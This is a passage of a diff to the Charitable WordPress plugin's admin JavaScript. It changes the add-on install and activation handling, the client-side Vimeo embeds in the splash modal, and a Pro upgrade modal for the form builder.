RegExp("("+word.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")+")","gi");highlightedText=highlightedText.replace(regex,"<mark>$1</mark>")}});if(highlightedText!==originalText){$element.html(highlightedText)}})},setAddonState:function(plugin,state,pluginType,callback){var actions={activate:"charitable_activate_addon",install:"charitable_install_addon",deactivate:"charitable_deactivate_addon"},action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin,type:pluginType};$.post(charitable_admin.ajax_url,data,function(res){callback(res)}).fail(function(xhr){console.log(xhr.responseText)})},addonToggle:function($btn){if($btn.prop("disabled")||$btn.attr("data-plugin")==="invalid"){return}var $addon=$btn.closest(".addon-item"),plugin=$btn.attr("data-plugin"),pluginType=$btn.attr("data-type"),state,cssClass,stateText,buttonText,errorText,successText;if($btn.hasClass("status-go-to-url")){window.open($btn.attr("data-plugin"),"_blank");return}$btn.prop("disabled",true).addClass("loading");$btn.html(s.iconSpinner);if($btn.hasClass("status-active")){state="deactivate";cssClass="status-installed";if(pluginType==="plugin"||pluginType==="addon"){cssClass+=" button button-secondary"}stateText=charitable_admin.addon_inactive;buttonText=charitable_admin.addon_activate;errorText=charitable_admin.addon_deactivate;if(pluginType==="addon"){buttonText=s.iconActivate+buttonText;errorText=s.iconDeactivate+errorText}}else if($btn.hasClass("status-installed")){state="activate";cssClass="status-active";if(pluginType==="plugin"||pluginType==="addon"){cssClass+=" button"}stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_deactivate;if(pluginType==="addon"){buttonText=s.iconDeactivate+buttonText;errorText=s.iconActivate+charitable_admin.addon_activate}else if(pluginType==="plugin"){buttonText=charitable_admin.addon_activated;errorText=charitable_admin.addon_activate}}else if($btn.hasClass("status-missing")){state="install";cssClass="status-active";if(pluginType==="plugin"||pluginType==="addon"){cssClass+=" button disabled"}stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_activated;errorText=s.iconInstall;if(pluginType==="addon"){buttonText=s.iconActivate+charitable_admin.addon_deactivate;errorText+=charitable_admin.addon_install}}else{return}CharitableDirAdmin.setAddonState(plugin,state,pluginType,function(res){if(res.success){if("install"===state){$btn.attr("data-plugin",res.data.basename);successText=res.data.msg;if(!res.data.is_activated){stateText=charitable_admin.addon_inactive;buttonText="addon"===pluginType?charitable_admin.addon_activate:s.iconActivate+charitable_admin.addon_activate;cssClass="addon"===pluginType?"status-installed button button-secondary":"status-installed"}else{cssClass="status-active button";stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_deactivate}}else{successText=res.data}$addon.find(".actions").append('<div class="msg success">'+successText+"</div>");$addon.find("span.status-label").removeClass("status-active status-installed status-missing").addClass(cssClass).removeClass("button button-primary button-secondary disabled").text(stateText);$btn.removeClass("status-active status-installed status-missing").removeClass("button button-primary button-secondary disabled").addClass(cssClass).html(buttonText)}else{if("object"===typeof res.data){if(pluginType==="addon"){$addon.find(".actions").append('<div class="msg error"><p>'+charitable_admin.addon_error+"</p></div>")}else{$addon.find(".actions").append('<div class="msg error"><p>'+charitable_admin.plugin_error+"</p></div>")}}else{if("string"===typeof res){var err_data=JSON.parse(res);if("string"===typeof err_data.error){$addon.find(".actions").append('<div class="msg error"><p>'+err_data.error+"</p></div>")}else{$addon.find(".actions").append('<div class="msg error"><p>There has been an error.</p></div>')}}}if("install"===state&&"addon"===pluginType){$btn.addClass("status-go-to-url").removeClass("status-missing")}$btn.html(errorText)}$btn.prop("disabled",false).removeClass("loading");if(!$addon.find(".actions").find(".msg.error").length){setTimeout(function(){$(".addon-item .msg").remove()},3e3)}})},getQueryString:function(name){var match=new RegExp("[?&]"+name+"=([^&]*)").exec(window.location.search);return match&&decodeURIComponent(match[1].replace(/\+/g," "))},debug:function(msg){if(CharitableDirAdmin.isDebug()){if(typeof msg==="object"||msg.constructor===Array){console.log("Charitable Debug:");console.log(msg)}else{console.log("Charitable Debug: "+msg)}}},isDebug:function(){return window.location.hash&&"#charitabledebug"===window.location.hash}};CharitableDirAdmin.init();window.CharitableDirAdmin=CharitableDirAdmin})(jQuery); \ No newline at end of file +(function($){"use strict";var s;var CharitableDirAdmin={settings:{iconActivate:"",iconDeactivate:"",iconInstall:"",iconSpinner:"Standby...",mediaFrame:false},init:function(){s=this.settings;$(CharitableDirAdmin.ready);$(document).on("CharitableDirReady",CharitableDirAdmin.initAddons)},ready:function(){$(document).trigger("CharitableDirReady");if($("#charitable-admin-addons-search").val()){$("#charitable-admin-addons-search").trigger("keyup")}},initAddons:function(){if(!$("#charitable-admin-addons").length){return}function setup_addon_sections(){function setCookie(name,value,days){var expires="";if(days){var date=new Date;date.setTime(date.getTime()+days*24*60*60*1e3);expires="; expires="+date.toUTCString()}document.cookie=name+"="+(value||"")+expires+"; path=/"}function getCookie(name){var nameEQ=name+"=";var ca=document.cookie.split(";");for(var i=0;i<ca.length;i++){var c=ca[i];while(c.charAt(0)==" ")c=c.substring(1,c.length);if(c.indexOf(nameEQ)==0)return c.substring(nameEQ.length,c.length)}return null}var $collapsible_headers=$(".charitable-addons-section-header:not(.charitable-addons-section-header-featured)");var open_sections=getCookie("charitable_open_addon_sections");open_sections=open_sections?JSON.parse(open_sections):[];var featured_index=open_sections.indexOf("featured");if(featured_index>-1){open_sections.splice(featured_index,1);setCookie("charitable_open_addon_sections",JSON.stringify(open_sections),7)}$collapsible_headers.each(function(){var section_id=$(this).data("section");if(open_sections.includes(section_id)){$(this).addClass("open");$("#charitable-addons-"+section_id).show()}});$collapsible_headers.on("click",function(){var section_id=$(this).data("section");var content=$("#charitable-addons-"+section_id);var open_sections=getCookie("charitable_open_addon_sections");open_sections=open_sections?JSON.parse(open_sections):[];$(this).toggleClass("open");content.slideToggle();if($(this).hasClass("open")){if(!open_sections.includes(section_id)){open_sections.push(section_id)}}else{var index=open_sections.indexOf(section_id);if(index>-1){open_sections.splice(index,1)}}setCookie("charitable_open_addon_sections",JSON.stringify(open_sections),7)})}setup_addon_sections();if($("#charitable-addons").length){$("#charitable-admin-addons-search").on("keyup search input",function(){CharitableDirAdmin.updateAddonSearchResult(this)});$("#charitable-admin-addons-search").on("input",function(){var searchTerm=$(this).val();if(searchTerm){sessionStorage.setItem("charitable_addons_search",searchTerm)}else{sessionStorage.removeItem("charitable_addons_search")}});var savedSearch=sessionStorage.getItem("charitable_addons_search");if(savedSearch){$("#charitable-admin-addons-search").val(savedSearch).trigger("keyup")}}$(document).on("click","#charitable-admin-addons .charitable-addons-list-item button",function(event){event.preventDefault();if($(this).hasClass("disabledd6")){return false}CharitableDirAdmin.addonToggle($(this))})},updateAddonSearchResult:function(searchField){var searchTerm=$(searchField).val();searchTerm=searchTerm.replace(/[.,]/g," ");CharitableDirAdmin.performCustomSearch(searchTerm);CharitableDirAdmin.highlightSearchTerms(searchTerm)},performCustomSearch:function(searchTerm){var $allAddonItems=$("#charitable-addons .charitable-addons-list-item");var searchWords=searchTerm.toLowerCase().split(" ").filter(function(word){return word.length>0});if(searchWords.length===0){$allAddonItems.show();$(".charitable-addons-section").show();return}var hasVisibleItems=false;$allAddonItems.each(function(){var $item=$(this);var $title=$item.find(".addon-link");var $description=$item.find(".addon-description");var titleText=$title.text().toLowerCase();var descriptionText=$description.text().toLowerCase();var matches=false;searchWords.forEach(function(word){if(titleText.indexOf(word)!==-1||descriptionText.indexOf(word)!==-1){matches=true}});if(matches){$item.show();hasVisibleItems=true}else{$item.hide()}});$(".charitable-addons-section").each(function(){var $section=$(this);var $visibleItems=$section.find(".charitable-addons-list-item:visible");if($visibleItems.length>0){$section.show();$section.find(".charitable-addons-section-content").show();$section.find(".charitable-addons-section-header").addClass("open")}else{$section.hide()}})},highlightSearchTerms:function(searchTerm){if(!searchTerm){$(".addon-link, .addon-description").each(function(){var $element=$(this);$element.html($element.text())});return}var searchWords=searchTerm.toLowerCase().split(" ").filter(function(word){return word.length>0});if(searchWords.length===0){return}$(".charitable-addons-list-item:visible .addon-link, .charitable-addons-list-item:visible .addon-description").each(function(){var $element=$(this);var originalText=$element.text();var highlightedText=originalText;searchWords.forEach(function(word){if(word.length>0){var regex=new RegExp("("+word.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")+")","gi");highlightedText=highlightedText.replace(regex,"<mark>$1</mark>")}});if(highlightedText!==originalText){$element.html(highlightedText)}})},setAddonState:function(plugin,state,pluginType,callback){var actions={activate:"charitable_activate_addon",install:"charitable_install_addon",deactivate:"charitable_deactivate_addon"},action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin.nonce,plugin:plugin,type:pluginType};$.post(charitable_admin.ajax_url,data,function(res){callback(res)}).fail(function(xhr){console.log(xhr.responseText)})},addonToggle:function($btn){if($btn.prop("disabled")||$btn.attr("data-plugin")==="invalid"){return}var $addon=$btn.closest(".addon-item"),plugin=$btn.attr("data-plugin"),pluginType=$btn.attr("data-type"),state,cssClass,stateText,buttonText,errorText,successText;if($btn.hasClass("status-go-to-url")){window.open($btn.attr("data-plugin"),"_blank");return}$btn.prop("disabled",true).addClass("loading");$btn.html(s.iconSpinner);if($btn.hasClass("status-active")){state="deactivate";cssClass="status-installed";if(pluginType==="plugin"||pluginType==="addon"){cssClass+=" button button-secondary"}stateText=charitable_admin.addon_inactive;buttonText=charitable_admin.addon_activate;errorText=charitable_admin.addon_deactivate;if(pluginType==="addon"){buttonText=s.iconActivate+buttonText;errorText=s.iconDeactivate+errorText}}else if($btn.hasClass("status-installed")){state="activate";cssClass="status-active";if(pluginType==="plugin"||pluginType==="addon"){cssClass+=" button"}stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_deactivate;if(pluginType==="addon"){buttonText=s.iconDeactivate+buttonText;errorText=s.iconActivate+charitable_admin.addon_activate}else if(pluginType==="plugin"){buttonText=charitable_admin.addon_activated;errorText=charitable_admin.addon_activate}}else if($btn.hasClass("status-missing")){state="install";cssClass="status-active";if(pluginType==="plugin"||pluginType==="addon"){cssClass+=" button disabled"}stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_activated;errorText=s.iconInstall;if(pluginType==="addon"){buttonText=s.iconActivate+charitable_admin.addon_deactivate;errorText+=charitable_admin.addon_install}}else{return}CharitableDirAdmin.setAddonState(plugin,state,pluginType,function(res){if(res.success){if(res.data&&"object"===typeof res.data&&res.data.redirect){window.location.href=res.data.redirect;return}if("install"===state){$btn.attr("data-plugin",res.data.basename);successText=res.data.msg;if(!res.data.is_activated){stateText=charitable_admin.addon_inactive;buttonText="addon"===pluginType?charitable_admin.addon_activate:s.iconActivate+charitable_admin.addon_activate;cssClass="addon"===pluginType?"status-installed button button-secondary":"status-installed"}else{cssClass="status-active button";stateText=charitable_admin.addon_active;buttonText=charitable_admin.addon_deactivate}}else{successText=res.data}$addon.find(".actions").append('<div class="msg success">'+successText+"</div>");$addon.find("span.status-label").removeClass("status-active status-installed status-missing").addClass(cssClass).removeClass("button button-primary button-secondary disabled").text(stateText);$btn.removeClass("status-active status-installed status-missing").removeClass("button button-primary button-secondary disabled").addClass(cssClass).html(buttonText)}else{if("object"===typeof res.data){if(pluginType==="addon"){$addon.find(".actions").append('<div class="msg error"><p>'+charitable_admin.addon_error+"</p></div>")}else{$addon.find(".actions").append('<div class="msg error"><p>'+charitable_admin.plugin_error+"</p></div>")}}else{if("string"===typeof res){var err_data=JSON.parse(res);if("string"===typeof err_data.error){$addon.find(".actions").append('<div class="msg error"><p>'+err_data.error+"</p></div>")}else{$addon.find(".actions").append('<div class="msg error"><p>There has been an error.</p></div>')}}}if("install"===state&&"addon"===pluginType){$btn.addClass("status-go-to-url").removeClass("status-missing")}$btn.html(errorText)}$btn.prop("disabled",false).removeClass("loading");if(!$addon.find(".actions").find(".msg.error").length){setTimeout(function(){$(".addon-item .msg").remove()},3e3)}})},getQueryString:function(name){var match=new RegExp("[?&]"+name+"=([^&]*)").exec(window.location.search);return match&&decodeURIComponent(match[1].replace(/\+/g," "))},debug:function(msg){if(CharitableDirAdmin.isDebug()){if(typeof msg==="object"||msg.constructor===Array){console.log("Charitable Debug:");console.log(msg)}else{console.log("Charitable Debug: "+msg)}}},isDebug:function(){return window.location.hash&&"#charitabledebug"===window.location.hash}};CharitableDirAdmin.init();window.CharitableDirAdmin=CharitableDirAdmin})(jQuery); \ No newline at end of file @@ -220,6 +220,17 @@ $btn.removeClass( 'loading' ); if ( res.success ) { + + // Server may include a `redirect` URL when the just-completed action + // should navigate the admin somewhere new (e.g. installing/activating + // Charitable Pro auto-deactivates Lite, so we send the user to the + // Charitable dashboard rather than letting them land on a now-missing + // admin screen). + if ( res.data && 'object' === typeof res.data && res.data.redirect ) { + window.location.href = res.data.redirect; + return; + } + var successText = ''; var stateText = ''; var buttonText = ''; @@ -233,7 +244,7 @@ cssClass = 'plugin' === pluginType ? 'status-installed button button-secondary' : 'status-installed'; } } else { - successText = res.data; + successText = ( res.data && 'object' === typeof res.data && res.data.msg ) ? res.data.msg : res.data; // Reflect new state in UI. if ( state === 'activate' ) { stateText = 'Active'; @@ -8,4 +8,4 @@ * @since 1.8.7.6 * @version 1.8.7.6 */ -(function($){"use strict";var s;var CharitableAdminAddons={settings:{iconActivate:'<i class="fa fa-toggle-on fa-flip-horizontal" aria-hidden="true"></i>',iconDeactivate:'<i class="fa fa-toggle-on" aria-hidden="true"></i>',iconInstall:'<i class="fa fa-cloud-download" aria-hidden="true"></i>',iconSpinner:'<i class="fa fa-spinner fa-spin" aria-hidden="true"></i>'},init:function(){s=this.settings;$(CharitableAdminAddons.ready)},ready:function(){if(!$("#charitable-admin-addons").length){return}$(document).on("click","#charitable-admin-addons .action-button button",CharitableAdminAddons.handleAddonAction)},handleAddonAction:function(e){e.preventDefault();var $btn=$(this);var $footer=$btn.parents(".addon-item");var classes={active:"status-active",activating:"status-activating",incompatible:"status-incompatible",installed:"status-installed",missing:"status-missing",goToUrl:"status-go-to-url",withError:"status-with-error"};if($footer.hasClass(classes.goToUrl)){window.open($btn.attr("data-plugin"),"_blank");return}$btn.prop("disabled",true);var checked=$btn.is(":checked");var cssClass;var plugin=$btn.attr("data-plugin");var pluginType=$btn.attr("data-type");var $addon=$btn.parents(".addon-item");var state=CharitableAdminAddons.getAddonState($footer,classes,$btn);CharitableAdminAddons.updateAddonButton($btn,state,true);CharitableAdminAddons.setAddonState(plugin,state,pluginType,function(res){CharitableAdminAddons.handleAddonStateResponse(res,$addon,$btn,state,pluginType,cssClass)},function(xhr){CharitableAdminAddons.handleAddonStateError(xhr,$addon,$btn,state)})},getAddonState:function($footer,classes,$btn){if($footer.hasClass(classes.missing)){return"install"}if($footer.hasClass(classes.installed)){return"activate"}if($footer.hasClass(classes.active)){return"deactivate"}if($footer.hasClass(classes.incompatible)){return"incompatible"}if($btn.hasClass("status-missing")){return"install"}if($btn.hasClass("status-installed")){return"activate"}if($btn.hasClass("status-active")){return"deactivate"}return"install"},updateAddonButton:function($btn,state,loading){var text="";var cssClass="";if(loading){if(state==="install"){text=s.iconSpinner+" Installing..."}else if(state==="deactivate"){text=s.iconSpinner+" Deactivating..."}else{text=s.iconSpinner+" Activating..."}cssClass="button button-secondary loading"}else{switch(state){case"install":text=s.iconInstall+" Install Plugin";cssClass="status-missing button button-primary";break;case"activate":text=s.iconActivate+" Activate";cssClass="status-installed button button-secondary";break;case"deactivate":text=s.iconDeactivate+" Deactivate";cssClass="status-active button button-secondary";break;case"incompatible":text="Incompatible";cssClass="status-incompatible button button-secondary disabled";break}}$btn.removeClass().addClass(cssClass).html(text)},setAddonState:function(plugin,state,pluginType,callback,errorCallback){var actions={activate:"charitable_addons_activate",install:"charitable_addons_install_wporg",deactivate:"charitable_addons_deactivate",incompatible:"charitable_addons_activate"};var action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin_addons.nonce,plugin:plugin,type:pluginType};$.post(charitable_admin_addons.ajax_url,data,function(res){callback(res)}).fail(function(xhr){errorCallback(xhr)})},handleAddonStateResponse:function(res,$addon,$btn,state,pluginType,cssClass){$btn.prop("disabled",false);$btn.removeClass("loading");if(res.success){var successText="";var stateText="";var buttonText="";if("install"===state){$btn.attr("data-plugin",res.data.basename);successText=res.data.msg;if(!res.data.is_activated){stateText="Inactive";buttonText="plugin"===pluginType?"Activate":s.iconActivate+" Activate";cssClass="plugin"===pluginType?"status-installed button button-secondary":"status-installed"}}else{successText=res.data;if(state==="activate"){stateText="Active";buttonText=pluginType==="plugin"?"Deactivate":s.iconDeactivate+" Deactivate";cssClass=pluginType==="plugin"?"status-active button button-secondary":"status-active"}else if(state==="deactivate"){stateText="Inactive";buttonText=pluginType==="plugin"?"Activate":s.iconActivate+" Activate";cssClass=pluginType==="plugin"?"status-installed button button-secondary":"status-installed"}}$addon.find(".actions").append('<div class="msg success">'+successText+"</div>");$addon.find("span.status-label").removeClass("status-active status-installed status-missing").addClass(cssClass).removeClass("button button-primary button-secondary disabled").text(stateText);$btn.removeClass("status-active status-installed status-missing").removeClass("button button-primary button-secondary disabled loading").addClass(cssClass).html(buttonText)}else{if("object"===typeof res.data){if(pluginType==="addon"){$addon.find(".actions").append('<div class="msg error"><p>Error installing addon</p></div>')}else{$addon.find(".actions").append('<div class="msg error"><p>'+res.data+"</p></div>")}}else{$addon.find(".actions").append('<div class="msg error"><p>'+res.data+"</p></div>")}$btn.removeClass("loading");CharitableAdminAddons.updateAddonButton($btn,state,false)}setTimeout(function(){$addon.find(".msg").fadeOut(300,function(){$(this).remove()})},3e3)},handleAddonStateError:function(xhr,$addon,$btn,state){$btn.prop("disabled",false);$addon.find(".actions").append('<div class="msg error"><p>Network error. Please try again.</p></div>');CharitableAdminAddons.updateAddonButton($btn,state,false);setTimeout(function(){$addon.find(".msg").fadeOut(300,function(){$(this).remove()})},3e3)}};$(document).ready(function(){CharitableAdminAddons.init()})})(jQuery); \ No newline at end of file +(function($){"use strict";var s;var CharitableAdminAddons={settings:{iconActivate:'<i class="fa fa-toggle-on fa-flip-horizontal" aria-hidden="true"></i>',iconDeactivate:'<i class="fa fa-toggle-on" aria-hidden="true"></i>',iconInstall:'<i class="fa fa-cloud-download" aria-hidden="true"></i>',iconSpinner:'<i class="fa fa-spinner fa-spin" aria-hidden="true"></i>'},init:function(){s=this.settings;$(CharitableAdminAddons.ready)},ready:function(){if(!$("#charitable-admin-addons").length){return}$(document).on("click","#charitable-admin-addons .action-button button",CharitableAdminAddons.handleAddonAction)},handleAddonAction:function(e){e.preventDefault();var $btn=$(this);var $footer=$btn.parents(".addon-item");var classes={active:"status-active",activating:"status-activating",incompatible:"status-incompatible",installed:"status-installed",missing:"status-missing",goToUrl:"status-go-to-url",withError:"status-with-error"};if($footer.hasClass(classes.goToUrl)){window.open($btn.attr("data-plugin"),"_blank");return}$btn.prop("disabled",true);var checked=$btn.is(":checked");var cssClass;var plugin=$btn.attr("data-plugin");var pluginType=$btn.attr("data-type");var $addon=$btn.parents(".addon-item");var state=CharitableAdminAddons.getAddonState($footer,classes,$btn);CharitableAdminAddons.updateAddonButton($btn,state,true);CharitableAdminAddons.setAddonState(plugin,state,pluginType,function(res){CharitableAdminAddons.handleAddonStateResponse(res,$addon,$btn,state,pluginType,cssClass)},function(xhr){CharitableAdminAddons.handleAddonStateError(xhr,$addon,$btn,state)})},getAddonState:function($footer,classes,$btn){if($footer.hasClass(classes.missing)){return"install"}if($footer.hasClass(classes.installed)){return"activate"}if($footer.hasClass(classes.active)){return"deactivate"}if($footer.hasClass(classes.incompatible)){return"incompatible"}if($btn.hasClass("status-missing")){return"install"}if($btn.hasClass("status-installed")){return"activate"}if($btn.hasClass("status-active")){return"deactivate"}return"install"},updateAddonButton:function($btn,state,loading){var text="";var cssClass="";if(loading){if(state==="install"){text=s.iconSpinner+" Installing..."}else if(state==="deactivate"){text=s.iconSpinner+" Deactivating..."}else{text=s.iconSpinner+" Activating..."}cssClass="button button-secondary loading"}else{switch(state){case"install":text=s.iconInstall+" Install Plugin";cssClass="status-missing button button-primary";break;case"activate":text=s.iconActivate+" Activate";cssClass="status-installed button button-secondary";break;case"deactivate":text=s.iconDeactivate+" Deactivate";cssClass="status-active button button-secondary";break;case"incompatible":text="Incompatible";cssClass="status-incompatible button button-secondary disabled";break}}$btn.removeClass().addClass(cssClass).html(text)},setAddonState:function(plugin,state,pluginType,callback,errorCallback){var actions={activate:"charitable_addons_activate",install:"charitable_addons_install_wporg",deactivate:"charitable_addons_deactivate",incompatible:"charitable_addons_activate"};var action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin_addons.nonce,plugin:plugin,type:pluginType};$.post(charitable_admin_addons.ajax_url,data,function(res){callback(res)}).fail(function(xhr){errorCallback(xhr)})},handleAddonStateResponse:function(res,$addon,$btn,state,pluginType,cssClass){$btn.prop("disabled",false);$btn.removeClass("loading");if(res.success){if(res.data&&"object"===typeof res.data&&res.data.redirect){window.location.href=res.data.redirect;return}var successText="";var stateText="";var buttonText="";if("install"===state){$btn.attr("data-plugin",res.data.basename);successText=res.data.msg;if(!res.data.is_activated){stateText="Inactive";buttonText="plugin"===pluginType?"Activate":s.iconActivate+" Activate";cssClass="plugin"===pluginType?"status-installed button button-secondary":"status-installed"}}else{successText=res.data&&"object"===typeof res.data&&res.data.msg?res.data.msg:res.data;if(state==="activate"){stateText="Active";buttonText=pluginType==="plugin"?"Deactivate":s.iconDeactivate+" Deactivate";cssClass=pluginType==="plugin"?"status-active button button-secondary":"status-active"}else if(state==="deactivate"){stateText="Inactive";buttonText=pluginType==="plugin"?"Activate":s.iconActivate+" Activate";cssClass=pluginType==="plugin"?"status-installed button button-secondary":"status-installed"}}$addon.find(".actions").append('<div class="msg success">'+successText+"</div>");$addon.find("span.status-label").removeClass("status-active status-installed status-missing").addClass(cssClass).removeClass("button button-primary button-secondary disabled").text(stateText);$btn.removeClass("status-active status-installed status-missing").removeClass("button button-primary button-secondary disabled loading").addClass(cssClass).html(buttonText)}else{if("object"===typeof res.data){if(pluginType==="addon"){$addon.find(".actions").append('<div class="msg error"><p>Error installing addon</p></div>')}else{$addon.find(".actions").append('<div class="msg error"><p>'+res.data+"</p></div>")}}else{$addon.find(".actions").append('<div class="msg error"><p>'+res.data+"</p></div>")}$btn.removeClass("loading");CharitableAdminAddons.updateAddonButton($btn,state,false)}setTimeout(function(){$addon.find(".msg").fadeOut(300,function(){$(this).remove()})},3e3)},handleAddonStateError:function(xhr,$addon,$btn,state){$btn.prop("disabled",false);$addon.find(".actions").append('<div class="msg error"><p>Network error. Please try again.</p></div>');CharitableAdminAddons.updateAddonButton($btn,state,false);setTimeout(function(){$addon.find(".msg").fadeOut(300,function(){$(this).remove()})},3e3)}};$(document).ready(function(){CharitableAdminAddons.init()})})(jQuery); \ No newline at end of file @@ -93,6 +93,7 @@ onOpen() { $( '.jconfirm' ).css( 'bottom', 0 ); $( '.charitable-dash-widget-welcome-block' ).remove(); + app.injectVideoEmbeds(); }, onDestroy() { $( 'body' ) @@ -101,6 +102,42 @@ }, } ); }, + + /** + * Inject video iframes into placeholder divs. + * + * The PHP template renders empty divs with data-vimeo-id; we build the + * iframe client-side because admin output filters can strip server-rendered + * iframes from the response. + * + * @since 1.8.10.6 + */ + injectVideoEmbeds() { + $( '.charitable-splash-video-embed[data-vimeo-id]' ).each( function() { + const $el = $( this ); + + if ( $el.children( 'iframe' ).length ) { + return; + } + + const id = String( $el.attr( 'data-vimeo-id' ) || '' ).replace( /[^0-9]/g, '' ); + + if ( ! id ) { + return; + } + + const title = $el.attr( 'data-video-title' ) || ''; + const iframe = document.createElement( 'iframe' ); + + iframe.src = 'https://player.vimeo.com/video/' + id + '?autoplay=1&muted=1&controls=1&dnt=1'; + iframe.setAttribute( 'frameborder', '0' ); + iframe.setAttribute( 'allow', 'autoplay; fullscreen; picture-in-picture' ); + iframe.setAttribute( 'allowfullscreen', '' ); + iframe.setAttribute( 'title', title ); + + $el.append( iframe ); + } ); + }, }; // Provide access to public functions/properties. @@ -1 +1 @@ -const CharitableAdminSplash=window.CharitableAdminSplash||function(document,window,$){const app={init(){$(app.ready)},ready(){app.events();if(charitable_admin_splash_data.triggerForceOpen){app.openModal()}},events(){$(document).on("click",".charitable-splash-modal-open",function(e){e.preventDefault();app.openModal()})},openModal(){$.alert({title:false,content:wp.template("charitable-splash-modal-content")(),icon:false,closeIcon:true,boxWidth:"1000px",theme:"modern",useBootstrap:false,scrollToPreviousElement:false,buttons:false,backgroundDismiss:true,offsetTop:50,offsetBottom:50,animation:"opacity",closeAnimation:"opacity",animateFromElement:false,onOpenBefore(){const scrollbarWidth=window.innerWidth-document.body.clientWidth+"px";$("body").addClass("charitable-splash-modal").css("--charitable-body-scrollbar-width",scrollbarWidth);$(".charitable-challenge-popup-container").addClass("charitable-invisible");setTimeout(()=>{if(navigator.userAgent.includes("Safari")&&!navigator.userAgent.includes("Chrome")){$("html, body").animate({scrollTop:0},0)}$(".jconfirm-box-container").css("padding-top","50px").animate({opacity:1},30)},0)},onOpen(){$(".jconfirm").css("bottom",0);$(".charitable-dash-widget-welcome-block").remove()},onDestroy(){$("body").removeClass("charitable-splash-modal").css("--charitable-body-scrollbar-width",null)}})}};return app}(document,window,jQuery);CharitableAdminSplash.init(); \ No newline at end of file +const CharitableAdminSplash=window.CharitableAdminSplash||function(document,window,$){const app={init(){$(app.ready)},ready(){app.events();if(charitable_admin_splash_data.triggerForceOpen){app.openModal()}},events(){$(document).on("click",".charitable-splash-modal-open",function(e){e.preventDefault();app.openModal()})},openModal(){$.alert({title:false,content:wp.template("charitable-splash-modal-content")(),icon:false,closeIcon:true,boxWidth:"1000px",theme:"modern",useBootstrap:false,scrollToPreviousElement:false,buttons:false,backgroundDismiss:true,offsetTop:50,offsetBottom:50,animation:"opacity",closeAnimation:"opacity",animateFromElement:false,onOpenBefore(){const scrollbarWidth=window.innerWidth-document.body.clientWidth+"px";$("body").addClass("charitable-splash-modal").css("--charitable-body-scrollbar-width",scrollbarWidth);$(".charitable-challenge-popup-container").addClass("charitable-invisible");setTimeout(()=>{if(navigator.userAgent.includes("Safari")&&!navigator.userAgent.includes("Chrome")){$("html, body").animate({scrollTop:0},0)}$(".jconfirm-box-container").css("padding-top","50px").animate({opacity:1},30)},0)},onOpen(){$(".jconfirm").css("bottom",0);$(".charitable-dash-widget-welcome-block").remove();app.injectVideoEmbeds()},onDestroy(){$("body").removeClass("charitable-splash-modal").css("--charitable-body-scrollbar-width",null)}})},injectVideoEmbeds(){$(".charitable-splash-video-embed[data-vimeo-id]").each(function(){const $el=$(this);if($el.children("iframe").length){return}const id=String($el.attr("data-vimeo-id")||"").replace(/[^0-9]/g,"");if(!id){return}const title=$el.attr("data-video-title")||"";const iframe=document.createElement("iframe");iframe.src="https://player.vimeo.com/video/"+id+"?autoplay=1&muted=1&controls=1&dnt=1";iframe.setAttribute("frameborder","0");iframe.setAttribute("allow","autoplay; fullscreen; picture-in-picture");iframe.setAttribute("allowfullscreen","");iframe.setAttribute("title",title);$el.append(iframe)})}};return app}(document,window,jQuery);CharitableAdminSplash.init(); \ No newline at end of file @@ -2829,7 +2829,7 @@ bindUIActionsPanels: function() { // Panel switching. - $builder.on( 'click', '#charitable-panels-toggle button:not(.charitable-panel-help-button), .charitable-panel-switch', function( e ) { + $builder.on( 'click', '#charitable-panels-toggle button:not(.charitable-panel-help-button):not(.charitable-panel-form-upgrade), .charitable-panel-switch', function( e ) { e.preventDefault(); // if the button has a disabled class, then we can't switch the panel because it's disabled. @@ -2838,6 +2838,13 @@ } } ); + // Form panel (Lite) — opens the Pro upgrade modal instead of switching panels. + $builder.on( 'click', '.charitable-panel-form-upgrade', function( e ) { + e.preventDefault(); + e.stopImmediatePropagation(); + app.formPanelUpgradeModal(); + } ); + // Help button - allow the link to work by ensuring the anchor's href is followed. $builder.on( 'click', '.charitable-panel-help-button, #charitable-panels-toggle a:has(.charitable-panel-help-button)', function( e ) { var $anchor = $( this ).closest( 'a' ); @@ -8683,6 +8690,57 @@ } } ); }, + + /** + * Upgrade modal for the Form panel (Lite only). Uses custom copy but + * reuses the shared upgrade modal theme. + * + * @since 1.8.10.5 + */ + formPanelUpgradeModal: function() { + + // Prevent stacking — bail if a modal is already open. + if ( app.formPanelUpgradeModalOpen ) { + return; + } + + var strings = ( typeof charitable_builder !== 'undefined' && charitable_builder.form_upgrade_modal ) ? charitable_builder.form_upgrade_modal : {}; + + app.formPanelUpgradeModalOpen = true; + + $.alert( { + backgroundDismiss: true, + title : strings.title || '', + icon : 'fa fa-lock', + content : strings.message || '', + boxWidth : app.getUpgradeModalWidth( false ), + theme : 'modern,charitable-upgrade-form-lite', + closeIcon : true, + onOpenBefore: function() { + + this.$body.find( '.jconfirm-content' ).addClass( 'lite-upgrade' ); + + if ( strings.doc ) { + this.$btnc.after( strings.doc ); + } + }, + onClose: function() { + app.formPanelUpgradeModalOpen = false; + }, + buttons: { + confirm: { + text : strings.button || '', + btnClass: 'btn-confirm', + keys : [ 'enter' ], + action: function() { + if ( strings.upgrade_url ) { + window.open( strings.upgrade_url, '_blank' ); + } + } + } + } + } ); + }, /** * Upgrade modal. @@ -1 +1 @@ -var CharitableCampaignBuilder=window.CharitableCampaignBuilder||function(document,window,$){var s,$builder,$builderForm,elements={};var closeConfirmation=true;var adding=false;var app={settings:{spinner:'<i class="charitable-loading-spinner"></i>',spinnerInline:'<i class="charitable-loading-spinner charitable-loading-inline"></i>',tinymceDefaults:{tinymce:{toolbar1:"bold,italic,underline,blockquote,strikethrough,bullist,numlist,alignleft,aligncenter,alignright,undo,redo,link"},quicktags:true},pagebreakTop:false,pagebreakBottom:false,upload_img_modal:false},init:function(){var that=this;charitable_panel_switch=true;s=this.settings;$(app.ready);$(window).on("load",function(){if(typeof 